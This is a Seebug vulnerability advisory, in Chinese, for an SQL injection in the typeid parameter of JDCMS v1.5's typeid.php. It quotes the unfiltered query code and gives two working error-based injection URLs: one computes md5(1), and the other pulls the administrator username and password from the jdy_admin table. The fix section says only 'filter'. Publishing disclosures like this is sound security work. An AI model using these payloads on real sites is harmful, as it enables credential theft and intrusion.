JDCMS v1.5 typeid.php 参数typeid SQL注入漏洞

2016-05-14T00:00:00
ID SSV:91546
Type seebug
Reporter kikay
Modified 2016-05-14T00:00:00

Description

0x01漏洞描述

Jdcms(简单CMS) v1.5在页面typeid.php对参数typeid过滤不严格,导致出现SQL注入漏洞,远程攻击者可以结合回显报错等方式,执行SQL指令。

0x02漏洞分析

问题出现在jdcms的typeid.php中,无视gpc和全局转义:

``` <?php

require_once "admin/common.php";

require_once(MOBAN_PATH_QZ."header.html");

$typeid=isset($_GET['typeid']) ? $_GET['typeid'] : 1;

//提取分类列表

 $type=$db-&gt;fetch_array(mysql_query($sql="select * from ".$db-&gt;tablepre."newstype where newstypeid=".$typeid));//typeid参数存在注入,数字型;

?> ``` 可见,没有对输入的参数typeid进行有效过滤,导致出现SQL注入漏洞。

0x03漏洞利用

利用该漏洞计算md5(1)的POC如下:

http://***.com/typeid.php?typeid=1 and (SELECT 1 FROM(SELECT COUNT(*),CONCAT(md5(1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)#

该CMS默认的管理员数据表名称为jdy_admin,可以利用如下的POC获取管理员用户名和密码:

http://***.com/typeid.php?typeid=1 and (SELECT 1 FROM(SELECT COUNT(*),CONCAT((select concat(0x247e7e7e24,username,0x2a2a2a,password,0x247e7e7e24) from jdy_admin limit 1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)#

0x04修复方案

过滤。